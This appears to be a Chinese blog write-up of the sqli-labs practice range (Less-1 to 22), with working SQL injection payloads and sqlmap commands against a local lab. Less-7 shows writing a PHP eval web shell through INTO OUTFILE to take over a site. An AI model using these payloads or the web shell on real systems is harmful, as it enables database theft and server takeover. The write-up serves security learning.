Sqli-labs 基本注入篇 (Less1~22)

sqli-labs Less-1: 1.查字段数 2.看回显位置 3.爆数据库 4.爆表 5.爆字段 6.获取信息 Less-2: 相同步骤 1.查字段数 2.看回显位置 3.爆数据库 4.报表名 5.爆字段 6.获取信息 Less-3: 看了源码发现要闭合括号 1.爆字段数 ... 阅读详情

前言

本blog作为练习笔记,  文笔不才, 仅供参考, 不正之处望大神指正。

基本注入篇对应labs的1~22关:

 

目录

Sqli-labs 基本注入篇

Less-1  单引号显错注入

一、手工注入

1. 判断字符型与整数型注入

2.  爆字段数

3. 爆库爆表爆字段

4. 取对应字段的值

二、sqlmap自动注入

1.  检测目标网站存在的注入漏洞类型

2. 爆库

3. 爆表

4. 爆字段

5. 爆数据

Less-2  整数型显错注入

1. 依旧先判断是整数型还是字符型注入:

2. 剩下的注入和Less-1如出一辙。不再赘述...

Less-3  字符型变形显错注入

1. 判断是字符型注入

2. 接下来就如出一辙了

Less-4  字符型双引号显错注入

Less-5  字符型单引号双注入

1. 布尔盲注

2. 延时注入

Less-6  字符型双引号双注入

Less-7  文件写入注入

补充: 

Less-8  字符型单引号布尔盲注

Less-9  字符型单引号延时盲注

Less-10  字符型双引号延时盲注

中场休息

Less-11  单引号显错注入

一、手工注入

二、sqlmap自动注入(post型)

Less-12  双引号显错变形注入

Less-13  单引号字符型变形双注入

Less-14  单引号字符型变形双注入

Less-15  单引号布尔盲注、延时注入

Less-16  双引号布尔盲注、延时注入

Less-17 更新查询显错注入

Less-18 基于代理的POST头显错注入

Less-19 基于Referer的POST头显错注入

Less-20  基于Cookie的POST头注入

Less-21  基于POST的文件写入注入

Less-22  基于POST的文件写入注入(变形)

 


 

Less-1  单引号显错注入

一、手工注入

1. 判断字符型与整数型注入

输入: and 1=1, 页面正常

再输入: and 1=2, 页面依旧正常,  可知不是整数型注入

输入单引号, 页面报错,  初步判断注入的单引号被包含在一对单引号之间了:

再追加输入#(url编码后是%23), 注释掉最后一个单引号, 完成闭合:

页面正常,  由此可知,  为字符型显错注入。

 

2.  爆字段数

已知为字符型型显错注入之后,  就可以采用联合注入了, 在此之前, 得爆字段数:

输入:  ' order by 3%23, 页面不变化

再输入: 'order by 4%23, 页面报错, 可知字段数为 3。

 

3. 爆库爆表爆字段

  • 爆当前数据库和所有数据库:

发现没有变化? ! !

ps:  id需要传入一个错误值来引导报错

 

  • 爆数据库security下的所有表:

 

  • 爆users表下的所有字段

 

4. 取对应字段的值

 

 

二、sqlmap自动注入

sqlmap作为一个注入神器,  在练习sqli时仅提一下,  主要还是以手工注入为主,  加深对sql注入原理的理解。

1.  检测目标网站存在的注入漏洞类型

sqlmap -u "http://localhost:2333/Less-1/index.php?id=1"

 

2. 爆库

sqlmap -u "http://localhost:2333/Less-1/index.php?id=1" --dbs

 

3. 爆表

爆数据库security下的所有表

sqlmap -u "http://localhost:2333/Less-1/index.php?id=1" -D security --tables

 

4. 爆字段

爆数据库security下的users表的所有字段

sqlmap -u "http://localhost:2333/Less-1/index.php?id=1" -D security -T users --columns

 

5. 爆数据

提取指定数据库、表以及字段的值, 并利用参数--dump生成在本地:

sqlmap -u "http://localhost:2333/Less-1/index.php?id=1" -D security -T users -C "id,username,password" --dump

 

 


 

Less-2  整数型显错注入

1. 依旧先判断是整数型还是字符型注入:

输入单引号:  页面报错; 再进一步用and语句判断, 发现还是报错, 错误表示多了一个单引号(多余注入了单引号):

排除字符型注入。

输入: and 1=1, 页面正确;  再输入: and 1=2, 页面不正常:

最后判定为整数型注入。

 

2. 剩下的注入和Less-1如出一辙。不再赘述...

 

 


 

 

Less-3  字符型变形显错注入

1. 判断是字符型注入

故排除是整数型注入; 

再输入单引号, 发现报错:

猜测网站的sql语句是:

select * from *** where id=("1") LIMIT 0,1

id值处于1的位置,  于是构造注入语句, 完成括号和单引号的闭合:

') and 1=1#

 

2. 接下来就如出一辙了

 

 

 


 

 

Less-4  字符型双引号显错注入

判断排除整数型注入:

输入单引号,  发现无变化,  可能是被过滤掉或者屏蔽掉了。

再尝试注入双引号:

判断sql语句可能为:

select * from ** where id=("$id") LIMIT 0,1

于是注入语句就和上一题差不多,  只是单引号换为双引号:

 

 


 

Less-5  字符型单引号双注入

看到这个界面,  判断可知是字符型注入:

没有明显的回显信息,  但是当sql语句不正确的时候, 页面会发生变化:

由此可以用布尔盲注和延时注入 (延时是当不管sql正不正确页面都无变化的情况)

 

1. 布尔盲注

  • 先判断数据库长度:

判断数据库长度是否大于7,  页面正确,  说明长度大于7

但是不大于8:

由此可以得知数据库长度为 7

  • 盲注数据库名

知道数据库长度为7之后, 就开始一个一个地判断字符了:

' and ord(substring(database(),1,1))>114#          ==>         页面正常

' and ord(substring(database(),1,1))>115#          ==>         页面错误

由此可知第1位字符的ascii码是115,  对应是字符 s

依次猜解第2,3,4...位字符:

猜解第2位:  ' and ord(substring(database(),2,1))>101#          ==>         e

猜解第3位:  ' and ord(substring(database(),3,1))>99#            ==>         c

..........

最后拼起来就是数据库名:  security

  • 判断表的个数

' and (select count(table_name) from information_schema.tables where table_schema="security")>4#   ==>  页面错误

' and (select count(table_name) from information_schema.tables where table_schema="security")>3#   ==>  页面正常

可知表的个数为 4

  • 判断第一个表的长度

' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#  ==>   正常

' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6#  ==>   错误

由此可知第一个表的长度为 6

  • 猜解第1个表的第1个字符

' and ord(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#                                                                                                                                                                                                  ==>   正常

' and ord(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101#                                                                                                                                                                                                  ==>   错误

猜解得表的第一个字符的ascii码为101,  对应字符为 e

依次猜解...., 最后得第一个表名:  emails

  • 同理, 可以按照此方法猜解字段名等

没有耕坏的田,  只有累死的牛....手工盲注实在太累了,  这里就不再一步步演示了。

 

2. 延时注入

延时注入上面提到过,  适用于当不管sql正不正确页面都无变化的情况。

在布尔盲注的基础上加上if语句和sleep函数:

可以看到browser在等待响应(线程在sleep), 说明数据库名长度不大于10

除此之外就和布尔盲注没有什么区别了, 故不在阐述。

 

 


 

Less-6  字符型双引号双注入

注入单引号无反应,  再输入双引号, 页面报错:

进一步发现是双引号注入,

剩下的就和上一题大同小异了。

 

 


 

 

Less-7  文件写入注入

步骤依旧判断一波:

发现这关把所有回显(显错)都指向到一个错误提示:  You have an error in your SQL syntax,  这就和前几题一样使用盲注(布尔、延时兼可)

但是单引号似乎不对,  应该是id值的附近被什么符号闭合了, 

可能是:   select * from users where id=['id']

或者是:   select * from users where id=('id')

或者是:   select * from users where id={'id'}....

经过尝试,  得出是两个括号闭合住id值:

接下来就和盲注一样的方法了,  这里建议用sqlmap跑。

尝试写入文件操作:

报错,  初步判定是没有权限或者secure_file_priv关闭

盲注当前用户名之后得出是root用户, 于是就去靶机上看看当前数据库的配置:

根据mysql官方文档:

  1. secure_file_priv为null    表示不允许导入导出
  2. secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
  3. secure_file_priv没有设置时,则表示没有任何限制

开启secure_file_priv任意写入之后就可以开始委琐欲为了= =

最后还是不行....

突然灵机一下,  写入在当前目录试试:

成功了,  喜出望外,  但是文件在哪儿呢?.......再看看配置文件的数据存储目录:

好了,  这样就可以写入操作了, 比如将数据库security下的所有表写入到tables.txt文件:

当然了,  写入功能远不止如此,  还可以写入php一句话木马: 

<?php eval($_POST['cmd']); ?>

再使用菜刀链接就可以拿下整个站点。

 

  • 补充: 

实际情况下,如果可扫描出phpmyadmin的后台(具有最高权限),并且后台使用弱口令,也可以通过爆破进入后台,从后台注入文件。

1. 创建hack表:   create table hack(cmd varchar(64));

2. 插入php一句话木马(表数据):   insert into hack values("<?php eval($_POST['cmd']); ?>");

3. 查询+写入生成木马文件:   select cmd from hack into outfile "./hack.php";

其实这个不如: select 1,2,"<?php eval($_POST['cmd']); ?>" into outfile "./hack.php" 来得快。

 

 


 

Less-8  字符型单引号布尔盲注

这题和Less-5没啥区别...水题, skip over

 

 


 

Less-9  字符型单引号延时盲注

发现不管怎么注入, 页面都没有变化:

在这种情况下就用到了延时注入:

接下来就与Less-5的做法一致了, 不再演示。

 


 

Less-10  字符型双引号延时盲注

就把Less-9的单引号变为双引号...水题

 

 


中场休息

到此, GET型就练习完毕了,  接下来就是POST型的练习


 

 

Less-11  单引号显错注入

一、手工注入

看到登录框,  就想到应该是post型注入

  • 正常正确登入:

  • 正常错误登录:

可以看到 当登录成功的时候会有信息提示,  这里就可以看看此处有没有信息回显的注入点:

  • 输入单引号:

注入点出现,  继续注入:

  • 判断字段数

当2的时候无报错,  故字段数为 2

ps :  用户名为错误的时候才能出现注入信息 (引导显错注入)

于是, 注入语句为:

' union select 1,2 from (表名) #

比如,  爆数据库下的所有表名:

以此类推,  爆字段数等

 

二、sqlmap自动注入(post型)

先用burpsuite抓一个包,  登录名和密码可以随意

将请求头作为文件保存在本地,  然后用sqlmap跑起来:

sqlmap  -r  post.txt

发现了用户名和密码的注入类型,  然后在跑所有数据库:

sqlmap  -r  post.txt  --dbs

跑指定数据库下的所有表:

sqlmap  -r  post.txt  -D security --tables

指定数据库、表的字段:

sqlmap  -r  post.txt  -D security -T users  --columns

跑数据:

sqlmap  -r  post.txt  -D security -T users  -C "id,username,password" --dump

 

 


 

 

Less-12  双引号显错变形注入

开始输入单引号, 发现无变化, 应该是被过滤了;  再输入双引号, 发现报错了:

于是猜想sql语句可能是用户在前面, 密码在后面, 而且值都是用括号闭合起来的:

select username, password from table where username=($username) and password=($password) limit 0,1;

然后可以这样构造用户名(密码随意)注入语句:

admin") and 1=1 #

当传入代码中的sql语句:

select username, password from table where username=("admin") and 1=1 # and password=($password) limit 0,1;

 

  • 爆字段数

字段数为2

  • 爆当前用户和数据库

其他的就跟上一题一模一样了...

 

 


 

 

Less-13  单引号字符型变形双注入

判断单引号注入:

而且推测sql语句是:

select username, password from table where username=('$username') and password=('$password') limit 0,1;

于是构造对应的注入语句后,  发现没有明显的回显信息:

前提是用户名要是在数据库存在的,  而且回显信息只是登录成功与否。

采用布尔盲注或者延时注入即可,  这里就不再演示繁琐的过程了,  最好用sqlmap跑。

 

 


 

 

Less-14  单引号字符型变形双注入

这题只会显示登录是否成功,  同上题一样的思路.....

区别就是这题注入的时候, 注释符不可用(用和不用都一样)。

 

 


 

 

Less-15  单引号布尔盲注、延时注入

和前两天大同小异, 同样判断得是单引号注入:

采用布尔盲注或延时注入即可。

 

 


 

 

Less-16  双引号布尔盲注、延时注入

把上一题的单引号改为双引号就是这一题的了。

但是! 发现没那么简单:

于是推测代码的sql语句中有猫腻,  由于无报错信息回显, 所以就只能猜了:

果然被一个括号闭合了,  构造反括号即可,  接下来就是一样的思路了。

 

 


 

 

Less-17 更新查询显错注入

正常操作:

对用户名尝试注入,  发现总是这个提示...估计用户名是被过滤了:

查看分析源码:

发现有一个很牛*的过滤函数:  先截取值的前15个字符, 再将所有可转义字符转义(在没有开启魔术引号的时候), 若是数字则用mysql_real_escape_string函数转义特殊字符;  

(本人)无法进行绕过,  接着往下看:

发现只有用户名采用了过滤函数,  修改的密码并没有过滤;

于是注入点瞄准密码部分,  利用报错信息:

立即YY出sql更新查询语句:

UPDATE users SET password=$NewPassword  WHERE username=$username;

根据这个语句,  安装之前的做法是行不通的, 实践也证明了这一点:

 

鉴于相比前几题基于联合查询sql注入的差异性,使用insert、update和delete进行sql注入显得略显另类;

故要采用特殊的方法-------updatexml()注入

  • 相关知识

mysql中, 对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML(),

1. EXTRACTVALUE (XML_document, XPath_string); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串). 
作用:从目标XML中返回包含所查询值的字符串

2. UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_value,String格式,替换查找到的符合条件的数据 
作用:改变文档中符合条件的节点的值

  • 注入原理:

能够用于注入是因为,当xpath不符合语法时,该语句会报错  XPATH syntax error :  (注入信息),    故可以将待查询的信息放入xpath中,通过报错回显出来。

updatexml()的xml_target和new_xml参数随便设定一个数,主要利用报错返回信息。一般形式为:

... or updatexml(1,concat('#',(select * from (select ...)), '#'),0) ...

红色部分是注入部分。

  • 爆库

在爆库的时候,  若注入语句是:  

123' or updatexml(1,concat('#', database(), '#'),0) #

这样注入后的sql语句就是:

UPDATE users SET password='123' or updatexml(1,concat('#', database(), '#'),0) #  WHERE username=$username;

  • 爆表

同理, 爆数据库security下的所有表:

123' or updatexml(1,concat('#', (select group_concat(table_name) from information_schema.tables where table_schema=database()), '#'),0) #

  • 爆字段

123' or updatexml(1,concat('#', (select group_concat(column_name) from information_schema.columns where table_name="users"), '#'),0) #

  • 爆值

123' or updatexml(1,concat('#', (select id,username,password from security.users), '#'),0) #

出现问题, 

原因是:  不能在update中先select(指定)一个表名再update。

解决: 利用select子嵌套查询来规避错误。

123' or updatexml(1,concat('#', (select * from (select concat_ws("-",id,username,password) from users limit 0,1) as t), '#'),0) #

因为一次只能显示一条,  所以用limit来偏移注入:

注入完成;

当然,  也可以采用ExtractValue()函数注入, 原理大同小异,  请读者自行尝试。

 

 


 

 

Less-18 基于代理的POST头显错注入

正常登录,  发现post头有回显(可注入):

burp抓个包测试:

注入前提是用户名和密码要正确才能回显成功,  典型的post头注入。

  •  分析

首先, 由报错信息: 

syntax to use near:  172.17.0.1', 'admin') 

注入的单引号由于和前面的单引号闭合,  产生报错,  

继续测试,  发现注入信息在第一个位置,  第二位置为ip,  第三个位置是用户名:

推测sql语句应该是insert或者update:

insert into table values('$User-Agent', '$ip', '$username');

好了,  到此解法就和上一题上不多了,  对于特殊的update或者insert语句的注入, 

可以采用updatexml()或者extractvalue()注入,  这里就用extractvalue()演示:

User-Agent 注入语句:

abc'  and  extractvalue(1,  concat('#', (select  database()),  '#'))  and  '1'='1

那么注入之后的sql语句就是:

insert into table values ('abc' and extractvalue(1,  concat('#', (select  database()),  '#'))  and  '1'='1',  '$ip',  '$username' );

为什么后面要多出 and '1'='1 呢?

因为传入网站代码后,  注入语句会被加上单引号,  注入语句中的第一个单引号与程序附加的前一个单引号形成闭合: '123';  而 and '1'='1 与程序附加的后一个单引号完成闭合:  ... and  '1'='1' ...,  这样才不会报错。 

接下来就是和上一题一样的思路了,  故不再复述。

 

 


 

 

Less-19 基于Referer的POST头显错注入

这题和上一题的差异就在与注入点不同,  方法思路都是一样的。

分析后,  发现用户名和密码都无注入点;

发现回显是Referer信息,  于是抓包分析:

在referer处存在注入点,  回显信息为:  ...172.17.0.1' ),   猜测sql语句可能是update或者insert:

insert  into  table  values ('$Referer',  '$ip'); 

于是,  注入方法同上一题;

 

 


 

 

Less-20  基于Cookie的POST头注入

正常登录:

发现很多回显信息,  为了便于找到注入点,  抓包分析:

1. 抓到第一个包,  尝试注入后发现无注入点,  放包:

2.  第二个包貌似和回信的信息有点关联关联:

  

3. 于是尝试在cookie注入单引号:

注入点找到!

------------------------------------------------

为了更好的理解,  查看源码看看逻辑:

分析完毕

------------------------------------------------

从最后的sql语句:

select *  from  users  where  username='$cookee'  limit 0,1; 

可知,  可以用联合查询显错注入:

  • 字爆段数

故字段数为 3

  • 联合查询注入爆数据库

ps:  一定不要忘了要在cookie的uname参数传一个错误的值引导显错注入

  • 爆表

剩下的就是之前的方法了。

 

 


 

 

Less-21  基于POST的文件写入注入

界面大致和上一题一样,  正常登录成功后,  发现cookie是base64加密过的:

分析:

1. 网站程序肯定是先将sql语句或者传入的参数值在传输过程中先进行base64加密;

2. 在mysql数据库登录校验查询的时候进行解密;

3.  最后在输出到用户界面的时候再进行加密。

理清思路之后就好办了,  直接抓包:

base64解密之后:

我们把注入的语句写好,  在进行base64加密,  再forward出去就好了:

通过报错信息:  ... 'admin' ' ),  注入的单引号和前一个单引号完成闭合,   可以猜测sql语句为:

select  *  from  table  where  username=('$uname') limit 0,1;

开始注入:

可以看到注入成功了,  那么接下来的注入方法就和上上一题一样了,  就多了base64加密这一步:

  • 爆库和用户

注入语句:

base64加密注入语句:

forward之后, 得到结果:

  • 进行文件写入

还发现有文件写入注入漏洞,  可以通过select  into outfile path 将数据写入到文件:

写入成功之后,  查看文件路径:

 

 


 

 

Less-22  基于POST的文件写入注入(变形)

在判断注入点的时候,  发现注入单引号无效:

当尝试注入双引号时候,  发现可以:

那么接下来就和上一题一样的操作了。

 

 


好了基础篇的sql注入就告一段落了,  总的来说还是挺简单了。

 

SQLi-labs-Master(1-22)新手通关宝典 欢迎来到《SQLi-labs-Master新手通关宝典》,本宝典专为网络安全新手编写,旨在引导他们深入了解SQL注入(SQLi)这一严重的安全漏洞。SQL注入允许攻击者通过精心构造的输入来操纵数据库查询,从而获取、篡改或删除敏感数据。本篇将带领你从基础知识出发,逐步掌握SQL注入的原理、技术和防御策略。通过SQLi-labs等实验环境,你将有机会在真实场景中实践SQL注入攻击,并学习如何有效防御。无论你是开发人员、系统管理员、渗透测试人员还是网络安全爱好者,掌握SQL注入技术都将对你大有裨益。 阅读详情

相关推荐

sqli.labs靶场(第18~22关)

sqli.labs靶场第18到22关详情

喜欢创作各种技术类文章,希望可以帮到你 2324

GET报错注入(Sqli-labs第一题详解)

文章目录一、找注入点二、order by判断列数三、union联合注入,判断数据显示点四、爆库、爆表 一、找注入点 单引号注入题目,在参数后面加一个单引号: /?id=1' 数据库报错,单引号匹配出错,即添加的单引号成功被数据库解析,可以通过闭合id参数,插入构造的sql语句实施攻击。 二、order by判断列数 order by 1、2、3都尝试,无报错。 /?id=1' order by 4 --+ 用4的话报错:Unknown column ‘4’ in ‘order clause’ 证明..

诚邀网络通信领域商务合作 2227

Bentley ORD(openroads designer) 二次开发(BIM)第七节 在ORD SDK中调用MicroStation SDK

从课程刚开始的时候我们就通过学习,了解了ORD的开发是基于MicroStation的,ORD SDK的接口发布的时候也对MicroStation SDK也做了一次发布。这一章将以我们对ORD SDK知识的了解为基础,使用ORD SDK的接口读取道路几何信息、计算桩号,然后再使用MicroStation SDK 读取地形数据和计算投影点的位置,并创建一组方柱形状的Soild。计算方柱底部坐标要经过两大步骤,通过路线的桩号及偏移距离去定位方柱的平面位置,通过方柱的平面位置计算数字地面模型上的投影点的坐标。

chen286990651的博客 881

网络安全-sqlmap实战之sqlilabs-Less1

目录 类型 注入判断 -u参数 -dbs参数爆数据库 -tables参数爆表 -columns爆列 -dump爆数据 查看源代码 类型 基于字符串的错误 注入判断 ?id=1' 存在sql注入 根据提示猜测,sql语句大概为 select * from 表名 where id = 参数 LIMIT 0,1 -u参数 python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-2/?id=1" ...

关注网络安全、云原生安全 1877

Visual Studio Code 打开java项目

在 Visual Studio Code 中打开并运行一个 Java 项目之前,你需要确保你已经完成了一些初始设置。

2674

校招总结—FPGA从入门到放弃

校招总结—FPGA从入门到放弃 感谢咸鱼FPGA的授权转发,原文地址为https://www.cnblogs.com/xianyufpga/ 其实 offer 早就定下来了,最近忙着入党考试,现在才腾出时间来写个总结。我校招开始于 7 月底,算是比较晚了,后面加了各大校招交流群,发现很多同学都是过完年后就开始打磨项目、复习基础、寻找实习。对比之下我这准备确实仓促,不过结果还算满意。 ...

qq_31515205的博客 8606

SQL注入sqli第四关(less-4)

SQLI第四关

s_xcx_ah的博客 1685

深入解析高通8155平台音频数据流:从HAL到DSP的完整链路

本文深入解析了高通8155平台音频数据从安卓HAL层到DSP的完整传输链路。以播放场景为例,详细阐述了音频数据如何通过ASoC DPCM框架进行路由、打包,并经由APR协议与DSP交互,最终驱动硬件发声的核心流程,为车载音频系统开发与调试提供了清晰的框架。

rust6ferris的博客 1174

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)

SQL注入: sqli-labs: 一个实验平台,里面有完整的SQL注入课程,需要phpstudy环境,因此先安装phpstudy环境 phpstudy: https://www.xp.cn/ 安装后发现数据库和我本机的数据库出现冲突了,只能使用 sc delete mysql 删掉我本机的mysql8服务,如果需要使用原来的mysql,管理员命令下输入 mysqld --install 删除之后成功启动 启动成功后,去下载sqli-labs: https://github.com/Audi-1/

5212

联想服务器ThinkSystemRAID阵列设置教程

关注我不迷路,全是干货! 以联想ThinkSystemSR530为例子进行示范。 开机点按【F1】 点击——【UEFI设置】 依次点击——【系统设置】——【存储】 点击——【RAID卡】 PS:本次服务器配置的是730-8i 阵列卡,按实际情况选中需要设置的阵列卡即可。 点击——【Main Menu】 点击——【Configuration Management】 点击——【Create Virtual Drive】 点击——【Select RAID Leve..

littlelotusK的博客 2万+

FPGA面试题目笔记(一)——FPGA开发流程、亚稳态和竞争冒险、建立保持时间、异步FIFO深度等

同步异步电路、同步异步复位、时钟偏移和抖动、最小工作周期计算、触发器锁存器

H19981118的博客 1万+

SQL注入:sqli-labs靶场通关(1-37关)

sqli-labs是一个用于学习和练习SQL注入的开源项目。它提供了一系列的实验室环境,让用户能够在不同的SQL注入场景中进行练习和测试。这些场景包括基本的SQL注入、盲注、联合查询注入等等。 sqli-labs还提供了详细的说明和解释,帮助用户理解SQL注入的原理和技术。通过这些实验和学习,用户可以更好地了解SQL注入的危害,并学会如何防范和阻止SQL注入攻击

qq_68163788的博客 3万+

详解vit_base_patch16_224

ViT-Base模型的核心思想是将输入图像划分为多个小块(patches),并使用Transformer架构来处理这些小块。具体来说,ViT-Base使用16x16像素的patch大小,输入图像的尺寸为224x224像素,这意味着每张图像将被划分为49个patch(22416×22416=14×14=19616224​×16224​=14×14=196个patch)。ViT-Base(ViT-B/16)通过将图像处理任务转化为序列处理任务。

具身机器人和通用AI 3227

sqli-labs 1-22 通关手册

sqli-labs是一个印度程序员写的一个关于SQL注入的靶场,一共有65个关卡,其中关卡的类型有但不限于。此处和 Less-18 一样,只是,这里的uagent 换成了 HTTP_REFERER所以同样存在注入,Less-2 是数字型注入(intiger),Less-1 是字符型注入(string)联合查询注入,报错注入,布尔盲注,延时盲注,POST注入,Cookie注入,WAF绕过。输入 1 和 1' 时没有反应, 1" 则报错,可以判断是双引号注入,且有括号。所以闭合需要考虑单引号和括号。

XiaoYu_xixi的博客 2467

Centos7 yum 报错「Errno 256」No more mirrors to try 解决方法

首先该问题的出现是由于网络的震荡导致,这是重点。(1)将源更换成阿里云的官方源,步骤参考如上(2)同时将zabbix的官方源更换成阿里云里面的zabbix镜像源,因为zabbix官方源根本网络不通,因为国家防火墙的拦截,导致网络不通。这是阿里源的zabbix镜像地址: https://mirrors.aliyun.com/zabbix/zabbix/4.4/rhel/7/修改系统中早期生成的zabbix.repo文件,如下:主要是把baseurl替换成阿里云的zabbix镜像地址即可。

专注基础架构领域 3875

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

sqli注入详解——>sqli-labs less-1~65

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务器的是php服务器。工作流程为:client访问服务器能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。

qq_51780583的博客 2602

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Sqli-labs Less18-Less23 HTTP头

一丢丢Sqli-labs小练习

beiweixiaotian66的博客 939

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

sqli-labs less-20 less-21 less-22 cookie注入

使用post注入对sqli-labs less-20 less-21 less-22 进行注入的经验分享

wanggonghanfei的博客 1711

SQL 注入:Sqli-labs (1-65通关)、sqlmap、注入常用函数

SQL 注入:Sqli-labs (1-65通关)、sqlmap、注入常用函数

freeking101的博客 7612

《SQLi-Labs》03. Less 17~22

update 类型注入,insert 类型注入,extractvalue 报错注入,updatexml 报错注入,group by 报错注入,http 头传递 payload。

学习学习学习...... 667

【SQL注入18】Sqli-labs靶场1~10关思路解析及思考总结——针对GET请求的注入思路

1. 本文从SQLi-labs前10关出发,总结各个关卡通关过程的思路。 2. 涵盖了联合查询注入、报错注入、布尔盲注和延时盲注四种基本类型。 3. 对比分析了不同参数测试时的用意,以便明确我们的注入思路。 4. 这些关卡暂未对输入参数进行过滤,对于采用了保护措施的程序,基本思路正确,也是有可能注入不了的。 .........

Fighting_hawk的博客 6090

SQLi-LABS 1-22关(Basic Challenges) 手动注入--(缓慢更新中 12/22)

首先判断注入类型,分别使用?时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间变长,时间盲注多与if(expr1,expr2,expr3)结合使用,此if语句意思为:如果expr1是TRUE,则if()的返回值是expr2;进入到MySQL所在目录,我这里是D:\software\phpstudy_pro\Extensions\MySQL5.7.26\bin,目录栏直接输入cmd调出cmd终端,输入mysql -u root -p ,然后输入密码即可成功登陆数据库。

燕麦葡萄干的博客 3917

SQLi-LABS(21~25a关详解)

目录SQLi-LABS Less-21查看题目环境测试注入点SQL注入查找列数查询数据库查询数据库中的表查表中的字段查数据SQLi-LABS Less-22查看题目环境测试注入点SQL注入SQLi-LABS Less-23查看题目环境测试注入点SQL注入SQLi-LABS Less-24查看题目环境SQLi-LABS Less-25查看题目环境测试注入点SQL注入SQLi-LABS Less-25...

CTF小白的博客 3352

SQL注入学习——sqli-labs闯关(Basic Challenges)

今天开始学习 SQL 注入的相关知识,通过 sqli-labs 靶场来练习。靶场地址SQL注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者通过构造SQL语句与后台数据库进行交互,达到获取或修改一些敏感数据,或者利用潜在的数据库漏洞进行攻击的目的。何为盲注?盲注就是在 sql 注入过程中,sql 语句执行后,查询的数据不能回显到前端页面上。此时,我们需要利用一些特殊的方法来得到数据,这个过程称之为盲注。盲注主要分为三类:基于布尔的 SQL 盲注基于时间的 SQL 盲注。........

未完成的歌~的博客 4073

sqli-labs:Less-22关卡详细解析

本文详细解析了sqli-labs第21关的Cookie注入漏洞。该关卡通过base64编码的Cookie参数进行字符串型SQL注入,需配合报错盲注技术获取数据。文章提供了完整的注入步骤,包括获取数据库、表名、字段和数据的payload示例,并汇总了关键参数用法。此外,还推荐了base64加解密工具,并强调了该漏洞仅用于安全学习。最后对比了基础Cookie注入与报错盲注的区别,引导读者参考相关关卡解析。

qq_62000508的博客 980

SQL注入SQLi-LABS 靶场less39-50详细通关攻略

本文总结了SQL注入的多种技术方法,重点分析了堆叠注入、报错注入和盲注在不同场景下的应用。文章详细介绍了从Less39到Less50各关卡的注入技巧,包括:1)堆叠注入的实现方式(使用分号分隔多条语句);2)闭合方式判断(数字型/字符串型);3)信息获取方法(union查询、报错函数、盲注);4)具体操作步骤(获取数据库名、表名、字段名及数据)。特别强调了堆叠注入的增删改查功能,以及POST型和GET型注入的区别,还提供了布尔盲注和时间盲注的实用技巧。这些方法可有效用于渗透测试中的SQL注入漏洞检测。

2201_75617121的博客 1482
上一篇: Webug4.0 越权查看admin
下一篇: XSS 注入大法payload
angry_program
博客等级 码龄9年 197粉丝 109原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值